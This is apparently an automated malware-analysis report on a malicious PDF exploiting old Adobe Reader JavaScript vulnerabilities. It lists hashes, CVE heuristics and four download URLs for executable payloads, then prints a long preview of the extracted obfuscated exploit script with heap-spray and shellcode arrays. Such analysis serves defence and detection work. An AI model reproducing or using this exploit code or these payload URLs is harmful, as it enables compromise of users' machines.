PDF malware analysis — malicious · 50530c9e3f15082d

MALICIOUS

PDF

12.0 KB Created: 2009-10-31 19:41:42 Authoring application: PDF Library 7.2.9 (via PDF Library 3.7.7) First seen: 2012-07-12

MD5: 4791273fda1a82d0be500873e40470b4 SHA-1: 8a06ffd4bf02ef6cc0aebd4c72c9374378d640af SHA-256: 50530c9e3f15082dac8a25d5928a71974e11c2b06e352942b04e100c52c575cc

530 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 JavaScript T1204.002 Malicious File

This PDF file contains embedded JavaScript that exploits multiple known Adobe Acrobat vulnerabilities including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is obfuscated but static analysis indicates it likely decodes and executes a second-stage payload, as evidenced by the ClamAV detection 'Js.Exploit.Shellcode-18' on an extracted artifact. The primary attack vector appears to be leveraging these specific CVEs to achieve arbitrary code execution.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 12

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://suqiwyk.cn/a12/dehkru2.exe Referenced by PDF JavaScript
- http://suqiwyk.cn/a12/click.php?r=Referenced by PDF JavaScript
- http://suqiwyk.cn/a12/egisuw2.exeReferenced by PDF JavaScript
- http://suqiwyk.cn/a12/mopqs2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x268	37614 bytes
SHA-256: `79fcaf471ecc7a9fa683d8ce9d60b859b4c2a87b3970ecd77e132e1455a35884`
Preview script First 1,000 lines of the extracted script var yhztj=47776;cfgkst="cfgkst";ehopru="";lmos=9404;cjpx="";ijqx="ijqx";hfozx="";zgcs='';zdsup=true;jntuv="";cgkouv=false;var acdjl='',bfhv='',amty=String,zipms=String,celmnw="51",kmrtw=0,ekpu="",befltu=amty['eJvOaOlJ'.replace(/[J9xOu]/g,'')],mpruwx=[66,59,62,151,170,159,152,165,158,160,163,81,155,154,173,144,158,165,93,170,150,163,168,161,97,81,161,150,163,90,176,62,63,58,62,168,157,154,161,150,85,89,174,146,167,164,165,95,161,150,163,152,169,153,85,91,85,99,85,109,85,157,154,159,94,172,66,59,62,58,62,170,150,163,168,161,85,92,114,81,174,146,167,164,165,108,66,59,62,58,178,62,63,58,62,170,150,163,168,161,85,110,85,170,150,163,168,161,99,164,170,147,168,165,167,154,163,152,93,97,97,81,161,150,163,96,103,90,112,62,63,58,62,163,154,165,170,163,163,81,174,146,167,164,165,108,66,59,62,174,66,59,66,59,62,151,170,159,152,165,158,160,163,81,170,165,158,157,148,161,167,154,163,165,155,89,94,172,66,59,62,58,171,146,167,81,165,146,174,157,164,146,153,81,114,81,170,159,154,164,152,146,165,150,93,83,90,166,122,115,122,106,90,166,101,97,101,98,90,166,106,103,101,97,90,166,118,98,107,101,90,166,101,97,104,97,90,166,101,97,101,97,90,166,105,97,109,115,90,166,109,115,101,116,90,166,102,116,108,97,90,166,109,115,118,117,90,166,101,105,105,97,90,166,120,100,106,118,90,166,109,115,106,102,90,166,109,115,122,116,90,166,101,105,105,102,90,166,104,100,106,99,90,166,120,98,121,99,90,166,101,100,120,99,90,166,102,97,104,99,90,166,109,97,105,97,90,166,101,97,104,105,90,166,123,102,108,102,90,166,120,99,109,115,90,166,106,117,106,114,90,166,101,101,120,99,90,166,106,102,101,97,90,166,122,116,109,115,90,166,106,98,106,98,90,166,106,103,106,100,90,166,107,97,106,104,90,166,106,117,109,115,90,166,104,100,101,105,90,166,109,115,120,97,90,166,101,116,108,102,90,166,123,118,109,115,90,166,108,103,101,100,90,166,109,115,104,116,90,166,108,105,105,118,90,166,120,119,101,100,90,166,106,98,109,115,90,166,106,99,102,116,90,166,106,98,109,115,90,166,106,99,103,101,90,166,108,98,109,115,90,166,105,118,102,101,90,166,108,102,109,106,90,166,109,115,123,116,90,166,103,97,108,98,90,166,123,104,101,100,90,166,105,114,110,106,90,166,105,99,118,117,90,166,104,115,107,97,90,166,123,116,106,102,90,166,101,101,108,102,90,166,120,97,104,100,90,166,104,104,122,115,90,166,123,119,104,100,90,166,105,102,101,100,90,166,110,104,101,116,90,166,120,119,109,115,90,166,108,102,118,118,90,166,103,115,123,117,90,166,105,119,123,106,90,166,122,105,106,98,90,166,123,119,110,101,90,166,123,119,123,119,90,166,120,100,104,115,90,166,108,101,107,98,90,166,122,115,101,99,90,166,109,115,121,106,90,166,101,116,105,102,90,166,106,118,110,99,90,166,123,99,101,100,90,166,122,97,121,98,90,166,120,103,101,100,90,166,120,106,104,100,90,166,119,104,101,119,90,166,106,119,101,105,90,166,122,98,120,98,90,166,101,100,101,99,90,166,101,100,120,114,90,166,109,115,120,119,90,166,101,100,101,98,90,166,109,106,120,99,90,166,123,105,105,102,90,166,109,115,107,98,90,166,123,105,105,102,90,166,106,118,106,119,90,166,120,106,106,115,90,166,106,102,120,100,90,166,122,116,109,115,90,166,122,105,106,98,90,166,123,119,105,106,90,166,123,119,123,119,90,166,107,105,106,97,90,166,107,97,122,105,90,166,101,101,119,119,90,166,107,116,122,105,90,166,123,119,123,119,90,166,104,100,123,119,90,166,106,99,121,99,90,166,123,119,106,99,90,166,101,105,108,102,90,166,121,97,123,119,90,166,105,102,109,106,90,166,109,115,123,116,90,166,123,116,105,102,90,166,120,100,120,106,90,166,109,115,106,102,90,166,109,100,122,116,90,166,101,116,122,116,90,166,105,102,109,117,90,166,106,97,123,101,90,166,105,102,120,103,90,166,108,102,123,101,90,166,105,102,120,103,90,166,108,99,123,102,90,166,105,102,120,103,90,166,107,116,123,103,90,166,105,102,120,103,90,166,107,117,123,104,90,166,105,102,120,103,90,166,107,119,123,105,90,166,105,102,120,103,90,166,107,118,123,106,90,166,105,102,120,103,90,166,103,118,123,114,90,166,105,102,120,103,90,166,107,101,123,115,90,166,105,102,120,103,90,166,107,116,123,116,90,166,105,102,120,103,90,166,107,116,123,117,90,166,105,102,120,103,90,166,101,97,123,118,90,166,118,97,122,105,90,166,123,119,123,119,90,166,106,97,123,119,90,166,106,117,107,105,90,166,102,98,109,114,90,166,122,105,102,103,90,166,123,119,102,102,90,166,123,119,123,119,90,166,120,101,109,100,90,166,109,102,101,116,90,166,108,101,120,97,90,166,107,114,102,102,90,166,107,114,101,97,90,166,123,119,101,97,90,166,101,116,108,102,90,166,108,102,123,119,90,166,107,114,101,105,90,166,123,119,101,97,90,166,109,102,121,97,90,166,108,102,120,97,90,166,105,97,101,100,90,166,120,100,120,106,90,166,120,97,104,100,90,166,120,100,120,106,90,166,104,100,106,104,90,166,109,115,120,97,90,166,103,101,105,116,90,166,109,115,101,116,90,166,103,101,108,116,90,166,123,116,101,105,90,166,118,114,123,100,90,166,120,100,106,119,90,166,105,116,109,115,90,166,101,101,103,101,90,166,104,106,109,97,90,166,109,115,101,97,90,166,108,101,120,98,90,166,105,97,101,103,90,166,104,105,109,97,90,166,108,102,101,97,90,166,103,115,123,114,90,166,120,100,120,98,90,166,109,115,106,102,90,166,109,100,122,116,90,166,107,101,122,116,90,166,109,117,106,100,90,166,123,97,105,102,90,166,104,100,106,104,90,166,106,97,121,115,90,166,105,102,120,103,90,166,107,115,123,97,90,166,105,102,120,103,90,166,107,102,123,98,90,166,105,102,120,103,90,166,108,99,123,99,90,166,105,102,120,103,90,166,107,118,123,100,90,166,105,102,120,103,90,166,107,102,123,101,90,166,105,102,120,103,90,166,107,116,123,102,90,166,105,102,120,103,90,166,104,100,123,103,90,166,105,102,120,103,90,166,104,99,123,104,90,166,105,102,120,103,90,166,103,118,123,105,90,166,105,102,120,103,90,166,107,101,123,106,90,166,105,102,120,103,90,166,107,116,123,114,90,166,105,102,120,103,90,166,107,116,123,115,90,166,106,117,109,105,90,166,122,105,123,116,90,166,123,119,101,115,90,166,123,119,123,119,90,166,107,105,106,97,90,166,105,100,107,105,90,166,109,118,123,106,90,166,109,97,122,105,90,166,123,119,123,118,90,166,109,115,123,119,90,166,109,117,123,105,90,166,110,116,105,102,90,166,105,101,107,114,90,166,122,105,106,97,90,166,123,119,108,118,90,166,123,119,123,119,90,166,105,102,109,117,90,166,107,114,122,97,90,166,106,97,102,97,90,166,108,100,122,105,90,166,123,119,123,119,90,166,109,100,123,119,90,166,102,116,120,101,90,166,105,102,109,117,90,166,106,97,122,97,90,166,105,102,109,117,90,166,106,97,110,116,90,166,106,100,106,100,90,166,106,100,106,100,90,166,106,100,106,100,90,166,108,102,123,119,90,166,120,104,101,105,90,166,110,116,105,102,90,166,101,97,105,101,90,166,101,97,101,97,90,166,123,119,106,100,90,166,106,119,121,104,90,166,119,103,101,119,90,166,106,115,120,97,90,166,120,100,120,106,90,166,109,115,106,102,90,166,106,98,122,116,90,166,106,100,106,98,90,166,106,104,106,103,90,166,105,99,107,114,90,166,108,99,122,105,90,166,101,97,101,97,90,166,109,115,101,97,90,166,104,100,121,105,90,166,109,102,123,103,90,166,106,106,121,115,90,166,105,102,120,104,90,166,107,98,123,105,90,166,107,102,103,118,90,166,120,104,108,105,90,166,123,116,105,102,90,166,101,97,107,102,90,166,101,97,101,97,90,166,106,103,108,118,90,166,105,102,109,117,90,166,106,97,123,105,90,166,122,105,106,103,90,166,101,97,106,98,90,166,101,97,101,97,90,166,106,97,106,106,90,166,119,98,122,105,90,166,123,119,123,118,90,166,109,102,123,119,90,166,106,106,120,97,90,166,108,101,106,106,90,166,109,117,104,106,90,166,101,98,105,103,90,166,122,105,106,97,90,166,101,97,104,115,90,166,101,97,101,97,90,166,123,105,109,115,90,166,105,102,109,117,90,166,106,97,123,105,90,166,103,98,122,105,90,166,123,119,123,119,90,166,109,102,123,119,90,166,106,106,120,97,90,166,108,101,106,106,90,166,106,104,101,116,90,166,101,98,122,105,90,166,123,119,123,119,90,166,106,106,123,119,90,166,105,101,120,103,90,166,123,119,104,105,90,166,106,97,108,100,90,166,105,102,109,117,90,166,123,118,123,105,90,166,106,105,101,97,90,166,105,102,109,117,90,166,106,97,123,105,90,166,122,105,106,104,90,166,123,118,108,101,90,166,123,119,123,119,90,166,106,106,106,106,90,166,105,103,105,103,90,166,123,100,104,115,90,166,118,114,108,116,90,166,106,118,106,119,90,166,120,106,106,115,90,166,106,102,120,100,90,166,122,116,109,115,90,166,106,100,106,98,90,166,107,97,107,103,90,166,104,99,119,98,90,166,101,97,122,105,90,166,101,97,101,97,90,166,106,105,101,97,90,166,101,105,104,105,90,166,101,100,108,101,90,166,122,115,105,97,90,166,105,97,123,106,90,166,106,117,109,115,90,166,109,97,101,105,90,166,105,99,123,115,90,166,101,105,108,102,90,166,121,115,104,100,90,166,102,105,109,114,90,166,120,100,109,115,90,166,102,104,122,115,90,166,102,105,104,105,90,166,102,98,108,103,90,166,104,100,105,97,90,166,109,101,120,106,90,166,108,101,121,115,90,166,105,97,101,116,90,166,101,105,104,105,90,166,123,115,108,102,90,166,123,118,105,97,90,166,122,115,120,115,90,166,104,100,123,99,90,166,109,106,120,97,90,166,123,116,105,102,90,166,105,102,109,115,90,166,106,115,123,116,90,166,120,100,120,106,90,166,101,99,104,99,90,166,108,101,107,105,90,166,108,97,108,101,90,166,103,119,104,114,90,166,108,100,103,119,90,166,108,98,108,102,90,166,108,104,107,106,90,166,107,115,108,106,90,166,107,100,103,118,90,166,103,119,107,118,90,166,104,98,107,98,90,166,103,119,104,99,90,166,107,102,107,101,90,166,107,115,107,105,90,166,108,102,108,99,90,166,103,118,104,99,90,166,108,105,107,102,90,166,101,97,107,102,90,166,108,101,107,105,90,166,108,97,108,101,90,166,103,119,104,114,90,166,108,100,103,119,90,166,108,98,108,102,90,166,108,104,107,106,90,166,107,115,108,106,90,166,107,100,103,118,90,166,103,119,107,118,90,166,104,98,107,98,90,166,103,119,104,99,90,166,107,116,107,100,90,166,107,100,107,106,90,166,103,118,107,115,90,166,107,105,108,97,90,166,104,119,108,97,90,166,104,117,108,99,90,166,101,97,101,97,87,90,112,62,63,58,62,167,150,163,85,159,164,161,85,110,85,166,163,150,168,148,150,161,154,89,87,86,170,97,118,97,118,86,170,97,118,97,118,86,170,97,118,97,118,86,170,97,118,97,118,83,94,62,63,58,62,167,150,163,85,153,154,146,165,147,161,160,152,156,85,110,85,159,164,161,85,92,85,161,150,170,161,160,150,149,112,62,63,58,62,167,150,163,85,147,158,152,151,157,164,148,160,81,114,81,170,159,154,164,152,146,165,150,93,83,90,166,101,114,101,114,90,166,101,114,101,114,87,90,112,62,63,58,62,167,150,163,85,153,154,146,153,150,167,164,158,171,154,81,114,81,103,97,112,62,63,58,62,167,150,163,85,164,165,163,150,170,85,110,85,153,154,146,153,150,167,164,158,171,154,81,96,81,157,150,150,161,151,157,164,148,160,95,161,150,163,152,169,153,112,62,63,58,62,168,157,154,161,150,85,89,151,154,156,147,161,160,152,156,99,157,154,159,156,165,157,81,113,81,168,161,167,146,174,90,176,62,63,58,62,58,151,154,156,147,161,160,152,156,85,92,114,81,151,154,156,147,161,160,152,156,112,62,63,58,62,174,66,59,62,58,171,146,167,81,155,154,161,157,151,157,164,148,160,81,114,81,151,154,156,147,161,160,152,156,99,164,170,147,168,165,167,154,163,152,93,97,97,81,168,161,167,146,174,90,112,62,63,58,62,167,150,163,85,147,161,160,152,156,85,110,85,147,158,152,151,157,164,148,160,95,168,166,151,164,169,163,158,159,156,89,101,93,85,147,158,152,151,157,164,148,160,95,161,150,163,152,169,153,98,164,165,163,150,170,94,108,66,59,62,58,172,153,158,157,154,81,93,147,161,160,152,156,99,157,154,159,156,165,157,92,168,161,167,146,174,81,113,81,101,169,105,97,101,97,101,90,176,62,63,58,62,58,151,157,164,148,160,81,114,81,151,157,164,148,160,81,96,81,151,157,164,148,160,81,96,81,155,154,161,157,151,157,164,148,160,108,66,59,62,58,178,62,63,58,62,167,150,163,85,158,154,158,148,146,167,163,150,170,85,110,85,159,154,168,85,114,167,163,150,170,93,90,112,62,63,58,62,151,164,163,85,89,171,146,167,81,158,81,114,81,101,108,85,154,85,109,85,98,105,97,101,108,85,154,96,92,94,172,66,59,62,58,62,158,154,158,148,146,167,163,150,170,144,154,146,81,114,81,151,157,164,148,160,81,96,81,157,150,150,161,151,157,164,148,160,108,66,59,62,58,178,62,63,58,62,167,150,163,85,159,170,158,85,110,85,98,103,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,106,110,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,105,109,108,66,59,62,58,170,165,158,157,99,161,167,154,163,165,155,89,87,86,105,102,101,97,101,151,87,93,85,159,170,158,94,108,66,59,62,174,66,59,66,59,62,151,170,159,152,165,158,160,163,81,152,160,161,157,150,147,148,150,162,146,158,157,93,90,176,62,63,58,62,167,150,163,85,164,157,150,161,157,152,160,153,150,85,110,85,166,163,150,168,148,150,161,154,89,87,86,170,118,119,118,110,86,170,97,101,97,102,86,170,102,107,97,101,86,170,114,102,103,105,86,170,97,101,100,101,86,170,97,101,97,101,86,170,101,101,105,119,86,170,105,119,97,120,86,170,98,120,104,101,86,170,105,119,114,121,86,170,97,109,101,101,86,170,116,104,102,122,86,170,105,119,102,106,86,170,105,119,118,120,86,170,97,109,101,106,86,170,100,104,102,103,86,170,116,102,117,103,86,170,97,104,116,103,86,170,98,101,100,103,86,170,105,101,101,101,86,170,97,101,100,109,86,170,119,106,104,106,86,170,116,103,105,119,86,170,102,121,102,118,86,170,97,105,116,103,86,170,102,106,97,101,86,170,118,120,105,119,86,170,102,102,102,102,86,170,102,107,102,104,86,170,103,101,102,108,86,170,102,121,105,119,86,170,100,104,97,109,86,170,105,119,116,101,86,170,97,120,104,106,86,170,119,122,105,119,86,170,104,107,97,104,86,170,105,119,100,120,86,170,104,109,101,122,86,170,116,123,97,104,86,170,102,102,105,119,86,170,102,103,98,120,86,170,102,102,105,119,86,170,102,103,99,105,86,170,104,102,105,119,86,170,101,122,98,105,86,170,104,106,105,110,86,170,105,119,119,120,86,170,99,101,104,102,86,170,119,108,97,104,86,170,101,118,106,110,86,170,101,103,114,121,86,170,100,119,103,101,86,170,119,120,102,106,86,170,97,105,104,106,86,170,116,101,100,104,86,170,100,108,118,119,86,170,119,123,100,104,86,170,101,106,97,104,86,170,106,108,97,120,86,170,116,123,105,119,86,170,104,106,114,122,86,170,99,119,119,121,86,170,101,123,119,110,86,170,118,109,102,102,86,170,119,123,106,105,86,170,119,123,119,123,86,170,116,104,100,119,86,170,104,105,103,102,86,170,118,119,97,103,86,170,105,119,117,110,86,170,97,120,101,106,86,170,102,122,106,103,86,170,119,103,97,104,86,170,118,101,117,102,86,170,116,107,97,104,86,170,116,110,100,104,86,170,115,108,97,123,86,170,102,123,97,109,86,170,118,102,116,102,86,170,97,104,97,103,86,170,97,104,116,118,86,170,105,119,116,123,86,170,97,104,97,102,86,170,105,110,116,103,86,170,119,109,101,106,86,170,105,119,103,102,86,170,119,109,101,106,86,170,102,122,102,123,86,170,116,110,102,119,86,170,102,106,116,104,86,170,118,120,105,119,86,170,118,109,102,102,86,170,119,123,101,110,86,170,119,123,119,123,86,170,103,109,102,101,86,170,103,101,118,109,86,170,97,105,115,123,86,170,103,120,118,109,86,170,119,123,119,123,86,170,100,104,119,123,86,170,102,103,117,103,86,170,119,123,102,103,86,170,97,109,104,106,86,170,117,101,119,123,86,170,101,106,105,110,86,170,105,119,119,120,86,170,119,120,101,106,86,170,116,104,116,110,86,170,105,119,102,106,86,170,105,104,118,120,86,170,97,120,118,120,86,170,101,106,105,121,86,170,102,101,119,105,86,170,101,106,116,107,86,170,104,106,119,105,86,170,101,106,116,107,86,170,104,103,119,106,86,170,101,106,116,107,86,170,103,120,119,107,86,170,101,106,116,107,86,170,103,121,119,108,86,170,101,106,116,107,86,170,103,123,119,109,86,170,101,106,116,107,86,170,103,122,119,110,86,170,101,106,116,107,86,170,99,122,119,118,86,170,101,106,116,107,86,170,103,105,119,119,86,170,101,106,116,107,86,170,103,120,119,120,86,170,101,106,116,107,86,170,103,120,119,121,86,170,101,106,116,107,86,170,97,101,119,122,86,170,114,101,118,109,86,170,119,123,119,123,86,170,102,101,119,123,86,170,102,121,103,109,86,170,98,102,105,118,86,170,118,109,98,107,86,170,119,123,98,106,86,170,119,123,119,123,86,170,116,105,105,104,86,170,105,106,97,120,86,170,104,105,116,101,86,170,103,118,98,106,86,170,103,118,97,101,86,170,119,123,97,101,86,170,97,120,104,106,86,170,104,106,119,123,86,170,103,118,97,109,86,170,119,123,97,101,86,170,105,106,117,101,86,170,104,106,116,101,86,170,101,101,97,104,86,170,116,104,116,110,86,170,116,101,100,104,86,170,116,104,116,110,86,170,100,104,102,108,86,170,105,119,116,101,86,170,99,105,101,120,86,170,105,119,97,120,86,170,99,105,104,120,86,170,119,120,97,109,86,170,114,118,119,104,86,170,116,104,102,123,86,170,101,120,105,119,86,170,97,105,99,105,86,170,100,110,105,101,86,170,105,119,97,101,86,170,104,105,116,102,86,170,101,101,97,107,86,170,100,109,105,101,86,170,104,106,97,101,86,170,99,119,119,118,86,170,116,104,116,102,86,170,105,119,102,106,86,170,105,104,118,120,86,170,103,105,118,120,86,170,105,121,102,104,86,170,119,101,101,106,86,170,100,104,102,108,86,170,102,101,117,119,86,170,101,106,116,107,86,170,103,119,119,101,86,170,101,106,116,107,86,170,103,106,119,102,86,170,101,106,116,107,86,170,104,103,119,103,86,170,101,106,116,107,86,170,103,122,119,104,86,170,101,106,116,107,86,170,103,106,119,105,86,170,101,106,116,107,86,170,103,120,119,106,86,170,101,106,116,107,86,170,100,104,119,107,86,170,101,106,116,107,86,170,100,103,119,108,86,170,101,106,116,107,86,170,99,122,119,109,86,170,101,106,116,107,86,170,103,105,119,110,86,170,101,106,116,107,86,170,103,120,119,118,86,170,101,106,116,107,86,170,103,120,119,119,86,170,102,121,105,109,86,170,118,109,119,120,86,170,119,123,97,119,86,170,119,123,119,123,86,170,103,109,102,101,86,170,101,104,103,109,86,170,105,122,119,110,86,170,105,101,118,109,86,170,119,123,119,122,86,170,105,119,119,123,86,170,105,121,119,109,86,170,106,120,101,106,86,170,101,105,103,118,86,170,118,109,102,101,86,170,119,123,104,122,86,170,119,123,119,123,86,170,101,106,105,121,86,170,103,118,118,101,86,170,102,101,98,101,86,170,104,104,118,109,86,170,119,123,119,123,86,170,105,104,119,123,86,170,98,120,116,105,86,170,101,106,105,121,86,170,102,101,118,101,86,170,101,106,105,121,86,170,102,101,106,120,86,170,102,104,102,104,86,170,102,104,102,104,86,170,102,104,102,104,86,170,104,106,119,123,86,170,116,108,97,109,86,170,106,120,101,106,86,170,97,101,101,105,86,170,97,101,97,101,86,170,119,123,102,104,86,170,102,123,117,108,86,170,115,107,97,123,86,170,102,119,116,101,86,170,116,104,116,110,86,170,105,119,102,106,86,170,102,102,118,120,86,170,102,104,102,102,86,170,102,108,102,107,86,170,101,103,103,118,86,170,104,103,118,109,86,170,97,101,97,101,86,170,105,119,97,101,86,170,100,104,117,109,86,170,105,106,119,107,86,170,102,110,117,119,86,170,101,106,116,108,86,170,103,102,119,109,86,170,103,106,99,122,86,170,116,108,104,109,86,170,119,120,101,106,86,170,97,101,103,106,86,170,97,101,97,101,86,170,102,107,104,122,86,170,101,106,105,121,86,170,102,101,119,109,86,170,118,109,102,107,86,170,97,101,102,102,86,170,97,101,97,101,86,170,102,101,102,110,86,170,115,102,118,109,86,170,119,123,119,122,86,170,105,106,119,123,86,170,102,110,116,101,86,170,104,105,102,110,86,170,105,121,100,110,86,170,97,102,101,107,86,170,118,109,102,101,86,170,97,101,100,119,86,170,97,101,97,101,86,170,119,109,105,119,86,170,101,106,105,121,86,170,102,101,119,109,86,170,99,102,118,109,86,170,119,123,119,123,86,170,105,106,119,123,86,170,102,110,116,101,86,170,104,105,102,110,86,170,102,108,97,120,86,170,97,102,118,109,86,170,119,123,119,123,86,170,102,110,119,123,86,170,101,105,116,107,86,170,119,123,100,109,86,170,102,101,104,104,86,170,101,106,105,121,86,170,119,122,119,109,86,170,102,109,97,101,86,170,101,106,105,121,86,170,102,101,119,109,86,170,118,109,102,108,86,170,119,122,104,105,86,170,119,123,119,123,86,170,102,110,102,110,86,170,101,107,101,107,86,170,119,104,100,119,86,170,114,118,104,120,86,170,102,122,102,123,86,170,116,110,102,119,86,170,102,106,116,104,86,170,118,120,105,119,86,170,102,104,102,102,86,170,103,101,103,107,86,170,100,103,115,102,86,170,97,101,118,109,86,170,97,101,97,101,86,170,102,109,97,101,86,170,97,109,100,109,86,170,97,104,104,105,86,170,118,119,101,101,86,170,101,101,119,110,86,170,102,121,105,119,86,170,105,101,97,109,86,170,101,103,119,119,86,170,97,109,104,106,86,170,117,119,100,104,86,170,98,109,105,118,86,170,116,104,105,119,86,170,98,108,118,119,86,170,98,109,100,109,86,170,98,102,104,107,86,170,100,104,101,101,86,170,105,105,116,110,86,170,104,105,117,119,86,170,101,101,97,120,86,170,97,109,100,109,86,170,119,119,104,106,86,170,119,122,101,101,86,170,118,119,116,119,86,170,100,104,119,103,86,170,105,110,116,101,86,170,119,120,101,106,86,170,101,106,105,119,86,170,102,119,119,120,86,170,116,104,116,110,86,170,97,103,100,103,86,170,104,105,103,109,86,170,104,101,104,105,86,170,99,123,100,118,86,170,104,104,99,123,86,170,104,102,104,106,86,170,104,108,103,110,86,170,103,119,104,110,86,170,103,104,99,122,86,170,99,123,103,122,86,170,100,102,103,102,86,170,99,123,100,103,86,170,103,108,103,106,86,170,104,104,103,110,86,170,104,108,104,106,86,170,99,122,100,103,86,170,104,109,103,106,86,170,97,101,103,106,86,170,104,105,103,109,86,170,104,101,104,105,86,170,99,123,100,118,86,170,104,104,99,123,86,170,104,102,104,106,86,170,104,108,103,110,86,170,103,119,104,110,86,170,103,104,99,122,86,170,99,123,103,122,86,170,100,102,103,102,86,170,99,123,100,103,86,170,103,120,103,104,86,170,103,104,103,110,86,170,99,122,103,119,86,170,103,109,104,101,86,170,100,123,104,101,86,170,100,121,104,103,86,170,97,101,97,101,83,94,108,66,59,62,58,171,146,167,81,162,150,162,144,150,163,167,146,174,81,114,81,163,150,172,81,118,163,167,146,174,89,94,108,66,59,62,58,171,146,167,81,152,148,85,110,85,97,173,97,152,97,152,97,152,97,152,108,66,59,62,58,171,146,167,81,150,149,153,163,85,110,85,97,173,101,101,97,101,97,101,108,66,59,62,58,171,146,167,81,168,148,148,157,154,159,85,110,85,164,157,150,161,157,152,160,153,150,99,157,154,159,156,165,157,81,95,81,103,108,66,59,62,58,171,146,167,81,161,150,163,81,114,81,150,149,153,163,85,94,85,89,168,148,148,157,154,159,96,97,173,100,109,90,112,62,63,58,62,167,150,163,85,170,150,163,168,161,85,110,85,166,163,150,168,148,150,161,154,89,87,86,170,106,101,106,101,86,170,106,101,106,101,83,94,108,66,59,62,58,174,146,167,164,165,81,114,81,155,154,173,144,158,165,93,170,150,163,168,161,97,81,161,150,163,90,112,62,63,58,62,167,150,163,85,148,164,166,163,165,103,81,114,81,93,148,152,81,98,81,101,169,105,97,101,97,101,97,94,96,150,149,153,163,112,62,63,58,62,151,164,163,85,89,171,146,167,81,152,160,170,159,169,81,114,81,101,108,85,148,164,166,163,165,85,109,85,148,164,166,163,165,103,108,85,148,164,166,163,165,96,92,94,172,66,59,62,58,62,158,154,158,148,146,167,163,150,170,144,148,164,166,163,165,146,81,114,81,174,146,167,164,165,81,96,81,168,153,154,157,161,148,164,149,154,108,66,59,62,58,178,62,63,58,62,167,150,163,85,160,171,150,167,151,161,160,172,81,114,81,170,159,154,164,152,146,165,150,93,83,90,166,101,148,101,148,90,166,101,148,101,148,87,90,112,62,63,58,62,168,157,154,161,150,85,89,164,167,154,163,155,157,164,168,99,157,154,159,